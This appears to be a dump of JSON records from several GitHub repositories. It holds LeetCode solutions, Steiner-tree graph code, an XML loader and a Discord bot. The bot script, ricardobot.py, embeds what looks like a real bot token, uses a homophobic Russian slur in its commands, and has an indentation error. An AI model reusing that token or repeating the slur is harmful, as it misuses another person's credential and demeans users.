combination.end(), ostream_iterator<int>(cout, \" \"));\n combination.pop_back();\n break;\n }\n if (candidates[current] < target) {\n target -= candidates[current];\n combination.push_back(candidates[current]);\n current += current_count;\n findCombinations(candidates, candidates_count, target, combinations);\n current -= current_count;\n count++;\n } else {\n break;\n }\n }\n for (; count > 0; count--) {\n target += candidates[current];\n combination.pop_back();\n }\n }\n\n\n};\n\nint main(int argc, char **argv) {\n Solution s;\n int arr[] = {10,1,2,7,6,1,5};\n vector<int> case1(arr, arr+sizeof(arr)/sizeof(arr[0]));\n vector<vector<int> > combinations = s.combinationSum(case1, 8);\n cout << combinations.size() << endl;\n\n std::set< std::vector<int> > expected_combinations;\n int comb1[] = {1,7};\n int comb2[] = {1,2,5};\n int comb3[] = {2,6};\n int comb4[] = {1,1,6};\n expected_combinations.insert(vector<int>(comb1, comb1 + sizeof(comb1)/sizeof(comb1[0])));\n expected_combinations.insert(vector<int>(comb2, comb2 + sizeof(comb2)/sizeof(comb2[0])));\n expected_combinations.insert(vector<int>(comb3, comb3 + sizeof(comb3)/sizeof(comb3[0])));\n expected_combinations.insert(vector<int>(comb4, comb4 + sizeof(comb4)/sizeof(comb4[0])));\n\n assert(combinations.size() == 4);\n for (int i = 0; i < combinations.size(); ++i)\n {\n assert(expected_combinations.find(combinations[i]) != expected_combinations.end());\n }\n\n return 0;\n}\n"
},
{
"alpha_fraction": 0.4057970941066742,
"alphanum_fraction": 0.4409937858581543,
"avg_line_length": 21,
"blob_id": "17aee9e3225f8c3e0902564051f5ba1ffb137520",
"content_id": "2eb4afa8022237ef54601c21c4bab7e54fe5bea6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 483,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 22,
"path": "/32_remove_duplicates_from_sorted_array_ii/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param a list of integers\n # @return an integer\n def removeDuplicates(self, A):\n if len(A) <= 2:\n return len(A)\n\n p = 0\n for q in xrange(0, len(A)):\n if q + 2 < len(A) and A[q] == A[q+2]:\n pass\n else:\n A[p] = A[q]\n p += 1\n return p\n\ns = Solution()\nl = [1,1,2,3,4,4,4,5,6]\nprint s.removeDuplicates(l) # 8"
},
{
"alpha_fraction": 0.40464743971824646,
"alphanum_fraction": 0.4447115361690521,
"avg_line_length": 26.130434036254883,
"blob_id": "93e8ca2140cfc8ec5524fcdfe11552bafafc1acb",
"content_id": "a821da3a9c75f9d53aa3c1b3f7ff51319d077021",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1248,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 46,
"path": "/40_median_of_two_sorted_arries/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n// using namespace std;\n\nclass Solution {\npublic:\n int find_kth(int *A, int m , int *B, int n, int k) {\n if (m == 0) {\n return B[k - 1];\n }\n if (n == 0) {\n return A[k - 1];\n }\n if (k == 1) {\n return std::min(A[0], B[0]);\n }\n\n int i = std::min(m, k / 2);\n int j = std::min(n, k / 2);\n if (A[i - 1] < B[j - 1])\n return find_kth(A + i, m - i, B, n, k - i);\n else\n return find_kth(A, m, B + j, n - j, k - j);\n }\n\n double findMedianSortedArrays(int A[], int m, int B[], int n) {\n if ((m + n) % 2 == 0)\n return (find_kth(A, m, B, n, (m + n) / 2) + find_kth(A, m, B, n, (m + n) / 2 + 1)) / 2.0;\n else\n return find_kth(A, m, B, n, (m + n) / 2 + 1);\n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n int A[] = {1,3,5,7,9};\n int B[] = {2,4,6,8,10,19,35};\n double median = s.findMedianSortedArrays(A, sizeof(A)/sizeof(A[0]), B, sizeof(B)/sizeof(B[0]));\n\n int A2[] = {1};\n int B2[] = {1};\n median = s.findMedianSortedArrays(A2, sizeof(A2)/sizeof(A2[0]), B2, sizeof(B2)/sizeof(B2[0]));\n\n return 0;\n}\n"
},
{
"alpha_fraction": 0.44149765372276306,
"alphanum_fraction": 0.4633385241031647,
"avg_line_length": 23.653846740722656,
"blob_id": "979ec85d80f8b6a0da1dace6e9d6fd8422602508",
"content_id": "e723a9949ebbdf6b4a050ece209df9cd8d154ade",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 641,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 26,
"path": "/5_max_subarrary/analysis_On.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n\nclass Solution:\n # @param A, a list of integers\n # @return an integer\n def maxSubArray(self, A):\n if not A:\n return 0\n N = len(A)\n sum = A[0]\n min_sum = min(0, sum)\n max_subsum = sum\n for idx in xrange(1, N):\n sum += A[idx]\n if sum - min_sum > max_subsum:\n max_subsum = sum - min_sum\n if sum < min_sum:\n min_sum = sum\n \n return max_subsum\n \n \ns = Solution()\nprint s.maxSubArray([-2,-3,0,-1])\nprint s.maxSubArray([-3,-2,0,-1])\nprint s.maxSubArray([1,2])\n"
}
] | 56 |
ganley/steiner | https://github.com/ganley/steiner | 7c0c183662a36eb091e2cac48b32b3946f9749e9 | 74ee15057ccfb0858be4678128243f7c415a9013 | a368e8adfb9e90720e30a8149ea1a23460e047e2 | refs/heads/main | 2023-02-07T14:02:47.427830 | 2020-12-26T15:13:31 | 2020-12-26T15:13:31 | 323,937,826 | 4 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7543859481811523,
"alphanum_fraction": 0.7543859481811523,
"avg_line_length": 18,
"blob_id": "9b77e4401860995d76d396a936fc7f78a0159070",
"content_id": "7670edb420135a5cd5bf65068e627ef925e85251",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 57,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 3,
"path": "/test/README.md",
"repo_name": "ganley/steiner",
"src_encoding": "UTF-8",
"text": "# steiner/test\n\nTest instances in STP (SteinLib) format.\n"
},
{
"alpha_fraction": 0.7692307829856873,
"alphanum_fraction": 0.7692307829856873,
"avg_line_length": 28.83333396911621,
"blob_id": "277fb2cec71b74ea6ae6c99877fb7353980fa617",
"content_id": "6b200e864c981d81bf06ec7dd680948eda74a8fa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 182,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 6,
"path": "/python/README.md",
"repo_name": "ganley/steiner",
"src_encoding": "UTF-8",
"text": "# steiner/python\n\n`steinlib.py` - read a SteinLib test graph into a NetworkX graph\n\n`dreyfus_wagner.py` - Dreyfus-Wagner algorithm for optimal Steiner trees\nin undirected graphs.\n\n\n\n"
},
{
"alpha_fraction": 0.5299039483070374,
"alphanum_fraction": 0.5361016392707825,
"avg_line_length": 33.32978820800781,
"blob_id": "e0b82bdcf18a9834176344314e96df75e68f314e",
"content_id": "583a78dad702d7aa16d39aa5bc584b845f435f07",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3227,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 94,
"path": "/python/steinlib.py",
"repo_name": "ganley/steiner",
"src_encoding": "UTF-8",
"text": "# steinlib.py\n#\n# Read a Steiner tree test instance in STP (SteinLib) format into a NetworkX\n# graph. It does not handle directed graphs, obstacles, rooted or degree\n# constrained instances.\n\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport re\nimport sys\n\n\n# This is largely untested, as all of my testcases are valid STP\nclass ParseError(Exception):\n \"\"\"Exception raised for errors in the input.\n\n Attributes:\n expression -- input expression in which the error occurred\n message -- explanation of the error\n \"\"\"\n\n def __init__(self, expression, message):\n self.expression = expression\n self.message = message\n\n\n# This is the main function - it takes a file object and returns a NetworkX\n# Graph\ndef parse(f):\n section = None\n for rawline in f:\n if line := rawline.strip():\n first, *rest = line.upper().split()\n\n if first == \"EOF\":\n return G\n\n if first in [\"OBSTACLES\", \"ARCS\", \"A\", \"ROOTP\", \"ROOT\", \"TP\", \"MD\"]:\n raise ParseError(line, f\"Unsupported feature {first}\")\n\n if first == \"33D32945\": # STP magic number\n G = nx.Graph(STP_version=rest[-1])\n continue\n\n if first == \"SECTION\":\n section = rest[0]\n if section == \"MAXIMUMDEGREES\":\n raise ParseError(line, \"Section type {section} unsupported\")\n elif first == \"END\":\n section = None\n elif first in [\"NODES\", \"EDGES\", \"TERMINALS\"]:\n # we don't need these and ignore them\n continue\n elif first == \"E\":\n if section != \"GRAPH\":\n raise ParseError(line, \"Only valid in Graph section\")\n G.add_edge(int(rest[0]), int(rest[1]), weight=int(rest[2]))\n elif first == \"T\":\n if section != \"TERMINALS\":\n raise ParseError(line, \"Only valid in Terminals section\")\n G.nodes[int(rest[0])][\"terminal\"] = True\n G.graph[\"terminals\"] = G.graph.get(\n \"terminals\", []) + [int(rest[0])]\n elif re.match(\"D+$\", first):\n if section != \"COORDINATES\":\n raise ParseError(line, \"Only valid in Coordinates section\")\n if len(rest) != len(first) + 1:\n raise ParseError(line, \"Incorrect number of dimensions\")\n G.nodes[int(rest[0])][\"pos\"] = tuple([int(x)\n for x in rest[1:]])\n elif section == \"COMMENT\":\n G.graph[line.split()[0]] = line.split(\"\\\"\")[1].strip(\"\\\"\")\n else:\n raise ParseError(line, \"Unrecognized syntax\")\n\n return G\n\n\nif __name__ == \"__main__\":\n with open(sys.argv[1], \"r\") as f:\n G = parse(f)\n\n print(G)\n print(G.graph)\n print(G.nodes)\n print(G.nodes.data())\n print(G.edges)\n\n #nx.draw(G, with_labels=True)\n #nx.draw_networkx(G, with_labels=True)\n nx.draw_kamada_kawai(G, with_labels=True)\n #nx.draw_spring(G, with_labels=True)\n #nx.draw_spectral(G, with_labels=True)\n plt.savefig(\"steinlib.png\")\n"
},
{
"alpha_fraction": 0.25974026322364807,
"alphanum_fraction": 0.31168830394744873,
"avg_line_length": 24.66666603088379,
"blob_id": "9adea864ea4067bd17e4bc90969237b413c42ba2",
"content_id": "c9d8c6bb13388dc8505ee756c5587283ef117e16",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 154,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 6,
"path": "/test/simple/README.md",
"repo_name": "ganley/steiner",
"src_encoding": "UTF-8",
"text": "# Simple test instances\n\n| Name | \\|V\\| | \\|E\\| | \\|T\\| | Opt |\n| :--- | ---: | ---: | ---: | ---: |\n| cross | 5 | 4 | 4 | 4 |\n| dagger | 8 | 7 | 6 | 7 |\n"
},
{
"alpha_fraction": 0.7791164517402649,
"alphanum_fraction": 0.7791164517402649,
"avg_line_length": 23.799999237060547,
"blob_id": "afa48e9dea0ee4b41342f9db65f2b0a6f566707d",
"content_id": "b62c506524fa555a40be1c4983e4c8fd5fedbcbe",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 249,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 10,
"path": "/README.md",
"repo_name": "ganley/steiner",
"src_encoding": "UTF-8",
"text": "# steiner\n\nSteiner tree algorithms and test data\n\n**UNDER DEVELOPMENT**\n\n`python/steinlib.py` - read a SteinLib test graph into a NetworkX graph\n\n`python/dreyfus_wagner.py` - Dreyfus-Wagner algorithm for optimal Steiner trees\nin undirected graphs.\n\n"
},
{
"alpha_fraction": 0.6019003391265869,
"alphanum_fraction": 0.6090750694274902,
"avg_line_length": 33.61073684692383,
"blob_id": "7375bdb2cfa7e12988e5d66fa519ea449bc76afa",
"content_id": "cebfacaf3a1430289e3d632ac2d57808e2e1af88",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5157,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 149,
"path": "/python/dreyfus_wagner.py",
"repo_name": "ganley/steiner",
"src_encoding": "UTF-8",
"text": "import collections\nimport copy\nimport itertools\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport sys\n\nimport steinlib # local\n\n\n# The Dreyfus-Wagner algorithm for the Steiner tree problem in graphs is\n# built around a theorem: That for a vertex u and a set X of terminals, there\n# exists a vertex v and a subset X' of X such that an optimal Steiner tree on\n# (X U u) is the union of a shortest path from v to u, an optimal Steiner tree\n# of (X' U v), and an optimal Steiner tree of (X \\ X' U v).\n#\n# The algorithm thus works by trying every v and every X' and taking the one\n# that results in minimum length. The results are memoized, thus replicating\n# the equivalent dynamic programming algorithm that builds the results from\n# the smallest subsets upward.\n#\n# Its running time is O(n^2 3^n), so it is practical on at most a couple of\n# dozen terminals.\n\n\n# return a list containing all proper subsets of s (each represented as a list)\ndef _powerset(s):\n return (c for r in range(1, len(s)) for c in itertools.combinations(s, r))\n\n\n# do the DW algorithm for the given Graph, set of terminals vertex u,\n# all-pairs shortest paths dictionary, and memoization cache.\n#\n# memo has key (u, list of terminals) and value (v, subset, weight)\n#\n# TODO change those to named tuples?\ndef _dw_solve(G: nx.Graph, terminals, u, apsp, memo={}):\n #pmrint(f\"_dw_solve {u=} {terminals=}\")\n if (u, terminals) in memo:\n return memo[(u, terminals)][2]\n\n # show progress\n if len(terminals) >= len(G.graph[\"terminals\"]) - 2:\n print(f\"{u=} {terminals=}\")\n\n maxweight = G.size(weight=\"weight\")\n\n if len(terminals) == 1:\n bestv = None\n bestsubset = None\n bestweight = apsp[u][terminals[0]]\n else:\n assert len(terminals) > 1\n bestweight = maxweight\n for v in G.nodes:\n xvert_set = set(terminals)\n for x in _powerset(terminals): # X'\n xset = set(x)\n xpset = xvert_set.difference(xset) # X \\ X'\n w1 = apsp[u][v]\n if w1 >= bestweight: # already greater than best seen\n continue\n w2 = _dw_solve(G, tuple(sorted(list(xset))), v, apsp, memo)\n if w1 + w2 >= bestweight: # already greater than best seen\n continue\n w3 = _dw_solve(G, tuple(sorted(list(xpset))), v, apsp, memo)\n w = w1 + w2 + w3\n if w < bestweight:\n bestv = v\n bestsubset = copy.copy(x)\n bestweight = w\n\n assert bestweight < maxweight\n memo[(u, terminals)] = (bestv, bestsubset, bestweight)\n return bestweight\n\n\n# add an edge (u,v) to H if the edge exists in G, otherwise add the edges\n# comprising a shortest path from u to v in G\ndef _dw_add_path(G, u, v, H):\n if G.has_edge(u, v):\n if not H.has_edge(u, v):\n H.add_edge(u, v, weight=G[u][v][\"weight\"])\n else:\n path = nx.algorithms.shortest_paths.shortest_path(G, u, v, weight=\"weight\")\n for a, b in zip(path, path[1:]):\n if not H.has_edge(a, b):\n H.add_edge(a, b, weight=G[a][b][\"weight\"])\n\n\n# build the Steiner tree from the optimal decompositions stored in the\n# memoization cache by _dw_solve.\ndef _dw_build_graph(T, terminals, u, G, memo, depth=0):\n indent = \" \" * depth\n if len(terminals) == 1:\n w = 0\n if terminals[0] != u:\n w = _dw_add_path(G, terminals[0], u, T)\n return\n #bestv, bestsubset, _ = memo[(u, terminals)]\n bestv, bestsubset, bestw = memo[(u, terminals)]\n w = _dw_add_path(G, u, bestv, T)\n _dw_build_graph(T, bestsubset, bestv, G, memo, depth + 1)\n term_set = set(terminals)\n xpset = term_set.difference(bestsubset)\n _dw_build_graph(T, tuple(sorted(list(xpset))), bestv, G, memo, depth + 1)\n\n\n# This is the only external function. It takes a graph and returns:\n# - A NetworkX graph containing the optimal Steiner tree if weight_only = False\n# - The total weight of the optimal Steiner tree if weight_only = True\ndef dreyfus_wagner(G: nx.Graph, weight_only=False):\n apsp = dict(nx.algorithms.shortest_paths.all_pairs_dijkstra_path_length(G))\n cache = {}\n terminals = sorted(G.graph[\"terminals\"])\n u0 = terminals[0]\n t0 = tuple(terminals[1:])\n weight = _dw_solve(G, t0, u0, apsp, cache)\n\n if weight_only:\n return weight\n\n T = nx.Graph(Remark=\"Optimal Steiner tree via Dreyfus-Wagner\")\n _dw_build_graph(T, tuple(terminals[1:]), terminals[0], G, cache)\n\n bestv, _, _ = cache[(u0, t0)]\n w = _dw_add_path(G, u0, bestv, T)\n\n return T\n\n\nif __name__ == \"__main__\":\n with open(sys.argv[1], \"r\") as f:\n G = steinlib.parse(f)\n\n print(G)\n print(G.graph)\n print(G.nodes)\n print(G.nodes.data())\n print(G.edges)\n\n T = dreyfus_wagner(G)\n print(T.size(weight=\"weight\"))\n\n pos = nx.shell_layout(T)\n nx.draw_networkx(T, pos, with_labels=True)\n labels = nx.get_edge_attributes(T, \"weight\")\n nx.draw_networkx_edge_labels(T, pos, edge_labels=labels)\n plt.savefig(\"steinlib.png\")\n"
},
{
"alpha_fraction": 0.27383366227149963,
"alphanum_fraction": 0.456389456987381,
"avg_line_length": 34.21428680419922,
"blob_id": "e7f052d8bdafd5af23cfd35388fd528d005716ec",
"content_id": "a3b954ecf7747eec18fa0e0e63aceedf4f3aa688",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 493,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 14,
"path": "/test/steinlib/SP/README.md",
"repo_name": "ganley/steiner",
"src_encoding": "UTF-8",
"text": "# SteinLib / SP\n\n[http://steinlib.zib.de/showset.php?SP](http://steinlib.zib.de/showset.php?SP)\n\n| Name | \\|V\\| | \\|E\\| | \\|T\\| | DC | Opt |\n| :--- | ---: | ---: | ---: | :--- | ---: |\n| antiwheel5 | 10 | 15 | 5 | Ps | 7 |\n| design432 | 8 | 20 | 4 | Ps | 9 |\n| oddcycle3 | 6 | 9 | 3 | Ps | 4 |\n| oddwheel3 | 7 | 9 | 4 | Ps | 5 |\n| se03 | 13 | 21 | 4 | Ps | 12 |\n| w13c29 | 783 | 2262 | 406 | NP? | 507 |\n| w23c23 | 1081 | 3174 | 552 | NP? | 689 |\n| w3c571 | 3997 | 10278 | 2284 | NP? | 2854 |\n"
}
] | 7 |
ValetMedivha/discord-ricardobot | https://github.com/ValetMedivha/discord-ricardobot | 5aa3dfaf9a77a4ffbdc54b6c12dbd0d1d59f9c2f | 209447e6a11d6bec59b713c53efa354ea634f695 | de3311db8a61b5be6f0e0effc9b9d4d303987824 | refs/heads/master | 2020-12-28T17:52:43.926206 | 2020-05-24T13:33:12 | 2020-05-24T13:33:12 | 238,429,417 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6441732048988342,
"alphanum_fraction": 0.6531552076339722,
"avg_line_length": 33.59016418457031,
"blob_id": "6ba5218b70ff5479296177c405d95b779f087883",
"content_id": "ae4793ebf36ccffa239c5db711b6ec0e622059af",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4342,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 122,
"path": "/ricardobot.py",
"repo_name": "ValetMedivha/discord-ricardobot",
"src_encoding": "UTF-8",
"text": "import discord\r\nimport random\r\nimport json\r\nimport datetime\r\n\r\nclient = discord.Client()\r\n\r\[email protected]\r\nasync def on_ready():\r\n\tprint('We have logged in as {0.user}'.format(client))\r\n\r\[email protected]\r\nasync def on_message(message):\r\n\tif message.author == client.user:\r\n\t\treturn\r\n#hello\r\n\tif message.content.startswith('!hello'):\r\n\t\tawait message.channel.send(\"Hello {}! It's time for some flex\".format(message.author.mention))\r\n#pidor\r\n\tif message.content.startswith('!pidor'):\r\n\t\twith open('data.json') as infile:\r\n\t\t\tdata = json.load(infile)\r\n\t\tif data['pidor'][1] == str(datetime.date.today()):\r\n\t\t\t await message.channel.send(\"Today's pidor is {}\".format(data['pidor'][0]))\r\n\t\t\t return\t \r\n\t\tchosen_user = random.choice(client.users)\r\n\t\tif str(chosen_user) not in data['pidors']:\r\n\t\t\tdata['pidors'][str(chosen_user)] = 1\r\n\t\telse:\r\n\t\t\tdata['pidors'][str(chosen_user)] += 1\r\n\t\tdata['pidor'] = [str(chosen_user), str(datetime.date.today())]\r\n\t\tawait message.channel.send(\"Pidor of the day is {}! Congratulations!\".format(chosen_user.mention))\r\n\t\tawait message.channel.send(file=discord.File('media/tenor.gif'))\r\n\t\twith open('data.json', 'w') as outfile:\r\n\t\t\tjson.dump(data, outfile)\r\n#dick\r\n\tif message.content.startswith('!dick'):\r\n\t\twith open('data.json') as infile:\r\n\t\t\tdata = json.load(infile)\r\n\t\tif str(message.author) not in data['dicks']:\r\n\t\t\tdata['dicks'][str(message.author)] = [0, 0]\r\n\r\n\t\tif data['dicks'][str(message.author)][1] == str(datetime.date.today()):\r\n\t\t\t await message.channel.send(\"You already played today! Come back tomorrow!\")\r\n\t\t\t return\r\n\r\n\t\tvalue = random.randrange(1, 11)\r\n\r\n\t\tif data['dicks'][str(message.author)][0] == 0:\r\n\t\t\tdata['dicks'][str(message.author)][0] += value\r\n\t\t\tawait message.channel.send(\"Your dick has increased by {}cm\".format(value))\r\n\t\telif data['dicks'][str(message.author)][0] <= 9:\r\n\t\t\tsign = random.choice([0, 1])\r\n\t\t\tif not sign:\r\n\t\t\t\tvalue = random.randrange(1, data['dicks'][str(message.author)][0]+1)\r\n\t\t\t\tdata['dicks'][str(message.author)][0] -= value\r\n\t\t\t\tawait message.channel.send(\"Your dick has decreased by {}cm\".format(value))\r\n\t\t\telse:\r\n\t\t\t\tdata['dicks'][str(message.author)][0] += value\r\n\t\t\t\tawait message.channel.send(\"Your dick has increased by {}cm\".format(value))\r\n\t\telse:\r\n\t\t\tsign = random.choice([0, 1])\r\n\t\t\tif sign:\r\n\t\t\t\tdata['dicks'][str(message.author)][0] += value\r\n\t\t\t\tawait message.channel.send(\"Your dick has increased by {}cm\".format(value))\r\n\t\t\telse:\r\n\t\t\t\tdata['dicks'][str(message.author)][0] -= value\r\n\t\t\t\tawait message.channel.send(\"Your dick has decreased by {}cm\".format(value))\r\n\r\n\t\tdata['dicks'][str(message.author)][1] = str(datetime.date.today())\r\n\t\twith open('data.json', 'w') as outfile:\r\n\t\t\tjson.dump(data, outfile)\r\n#topdick\r\n\tif message.content.startswith('!topdick'):\r\n\t\twith open('data.json') as infile:\r\n\t\t\tdata = json.load(infile)\r\n\t\trating = []\r\n\t\tfor user in data[\"dicks\"]:\r\n\t\t\trating.append([user, data[\"dicks\"][user][0]])\r\n\t\trating.sort(key=lambda x: x[1], reverse=True)\r\n\t\tplace = 1\r\n\t\tmsg = \"\"\r\n\t\tfor user in rating:\r\n\t\t\tmsg += \"{}. {} - {}cm\\n\".format(place, user[0], user[1])\r\n\t\t\tplace += 1\r\n\t\tawait message.channel.send(\"Rating of dicks:\\n\" + msg)\r\n#toppidors\r\n\tif message.content.startswith('!toppidors'):\r\n\t\twith open('data.json') as infile:\r\n\t\t\tdata = json.load(infile)\r\n\t\trating = []\r\n\t\tfor user in data[\"pidors\"]:\r\n\t\t\trating.append([user, data[\"pidors\"][user]])\r\n\t\trating.sort(key=lambda x: x[1], reverse=True)\r\n\t\tplace = 1\r\n\t\tmsg = \"\"\r\n\t\tfor user in rating:\r\n\t\t\tmsg += \"{}. {} - {} times\\n\".format(place, user[0], user[1])\r\n\t\t\tplace += 1\r\n\t\tawait message.channel.send(\"Top pidors of all time:\\n\" + msg)\r\n#someone\r\n\tif message.content.startswith('!someone'):\r\n\t\tchosen_user = random.choice(client.users)\r\n\t\tawait message.channel.send(\"{}\".format(chosen_user.mention))\r\n# Entity\r\n if message.content.startswith('@Entity'):\r\n\t\tawait message.channel.send(\"-p Дядя Володя\")\r\n#song \r\n\tif message.content.startswith(\"!song\"):\r\n\t\tawait message.channel.send(\"Not implemented yet!\")\r\n#help \r\n\tif message.content.startswith(\"!help\"):\r\n\t\tawait message.channel.send(\"Not implemented yet!\")\r\n#gameslist \r\n\tif message.content.startswith(\"!games\"):\r\n\t\tawait message.channel.send(\"Not implemented yet!\")\r\n#tictactoe\r\n\tif message.content.startswith(\"!tictactoe\"):\r\n\t\tawait message.channel.send(\"Not implemented yet!\")\r\n\r\n\r\nclient.run(\"NjczOTE3MjY4MTI3NjQ1NzE4.Xsp3Sg.vTk9SFlMRVOOk8bAvdqM7-zVLus\")\r\n"
},
{
"alpha_fraction": 0.7894737124443054,
"alphanum_fraction": 0.7894737124443054,
"avg_line_length": 27.5,
"blob_id": "37108360382ad5359c6bd354743df075322b214e",
"content_id": "f59f582889ab89d11a923896ad975604a736d466",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 57,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 2,
"path": "/README.md",
"repo_name": "ValetMedivha/discord-ricardobot",
"src_encoding": "UTF-8",
"text": "# discord-ricardobot\nSilly bot for discord(Just for fun)\n"
}
] | 2 |
martamau/costs-users | https://github.com/martamau/costs-users | a30671089e3f6323ec4ea9557f88de7bf7b3a98e | a45df4f764fd583ce7e293ca96823927cfb64d37 | 4f27eec3febb5d38bc9708dc2422491fe3931ff5 | refs/heads/master | 2022-12-16T16:34:42.529602 | 2020-08-25T10:02:03 | 2020-08-25T10:02:03 | 290,176,710 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7586206793785095,
"alphanum_fraction": 0.7586206793785095,
"avg_line_length": 28,
"blob_id": "048774e179b76debe0acd262be0881e463984a42",
"content_id": "6752d944a44d330f0ce3171debcffde99bb8d0e1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 29,
"license_type": "no_license",
"max_line_length": 28,
"num_lines": 1,
"path": "/src/python/__init__.py",
"repo_name": "martamau/costs-users",
"src_encoding": "UTF-8",
"text": "from .cost_function import *\n"
}
] | 1 |
le-yo/django | https://github.com/le-yo/django | 59042dea0d711738fb9453d04aa8fc56e9f83641 | 0c946c60f392aca01ce6cd18802fc0e8f773e187 | 89a26512c372b2d48b2482acef7b89c809f9440d | refs/heads/master | 2021-01-20T12:42:23.100830 | 2017-05-05T16:57:39 | 2017-05-05T16:57:39 | 90,398,317 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7423887848854065,
"alphanum_fraction": 0.7423887848854065,
"avg_line_length": 29.571428298950195,
"blob_id": "b6132acb1ddb89399442160881a77d338309354b",
"content_id": "6e05fc4852092fbfa5c0ea04eef46c3d355120cb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 427,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 14,
"path": "/howdy/views.py",
"repo_name": "le-yo/django",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render\nfrom django.views.generic import TemplateView\n\n# Create your views here.\nclass HomePageView(TemplateView):\n def get(self,request,**kwargs):\n return render(request,'index.html', context=None)\n\nclass TestPage(TemplateView):\n def get(self,request,**kwargs):\n return render(request,'test.html',context=None)\n\nclass AboutPageView(TemplateView):\n template_name = \"test.html\""
}
] | 1 |
classifaddict/classifactory | https://github.com/classifaddict/classifactory | c9a7e0b73795acfb23ff34a1fcda2609286ec36a | 535529e35d23f6732aa62c0f104f7988148194be | 63d13efd3b48401317c996a3d65c5a70033b8974 | refs/heads/master | 2022-02-08T22:59:18.788856 | 2022-01-24T14:30:05 | 2022-01-24T14:30:05 | 17,334,410 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5293565392494202,
"alphanum_fraction": 0.5305120348930359,
"avg_line_length": 31.658018112182617,
"blob_id": "a5d20adfe956bbd62b357334d38d8b282f2edfc8",
"content_id": "5c169e2b2d0b85c7542abed2ea1d98812fccc2f2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13847,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 424,
"path": "/project/app_operations/management/commands/_xml_load.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "import os\nimport zipfile\nimport time\nfrom hashlib import md5\n\nfrom lxml import etree\nfrom django.conf import settings\nfrom django.db import transaction\n\nfrom app_tree.models import Doctype, ElementType, AttributeType\nfrom app_tree.models import Dataset, Element, Attribute, Text, TreeNode\n\nfrom app_operations.decorators import with_connection_usable\n\n\ndef log(msg):\n print '(%s) %s' % (time.strftime('%H:%M:%S'), msg)\n\n\nclass XMLTreeLoader:\n def __init__(self, doctype_name, dataset_version, lang, file_release, no_types, xml):\n self.dt_conf = settings.DOCTYPES[doctype_name]\n self.xml = xml\n self.lang = lang\n\n self.parser = etree.XMLParser(\n remove_blank_text=True,\n ns_clean=True,\n remove_comments=True\n )\n\n root = self.get_tree_root(dataset_version, file_release)\n\n # Get namespace(s) info\n self.NSMAP = root.nsmap\n self.NSpfx = ''\n self.NS = ''\n if root.prefix is not None:\n self.NSpfx = root.prefix + \":\"\n self.NS = \"{%s}\" % self.NSMAP[root.prefix]\n\n self.doctype, c = Doctype.objects.get_or_create(name=doctype_name)\n\n self.dataset, c = Dataset.objects.get_or_create(\n doctype=self.doctype,\n name=dataset_version\n )\n\n self.attr_values = set([(\n a['type__name'], a['value']\n ) for a in Attribute.objects.select_related('attributetype').filter(\n type__doctype=self.doctype\n ).order_by().values(\n 'type__name', 'value'\n )])\n\n self.text_names = set([t['name'] for t in Text.objects.filter(\n doctype=self.doctype).values('name')\n ])\n\n self.elt_values = set([(\n e['type__name'], e['text__name'], e['attrs_key']\n ) for e in Element.objects.select_related(\n 'elementtype', 'text'\n ).filter(type__doctype=self.doctype).values(\n 'type__name', 'text__name', 'attrs_key'\n )])\n\n self.elts = {}\n self.elt_FPs = {}\n\n log('Cleaning up...')\n self.cleanup(root)\n\n log('Storing elements, attributes and texts...')\n if no_types:\n self.store_treeleaves(root)\n else:\n self.store_treeleaves_and_types(root)\n\n with transaction.atomic():\n with TreeNode.objects.delay_mptt_updates():\n log('Storing 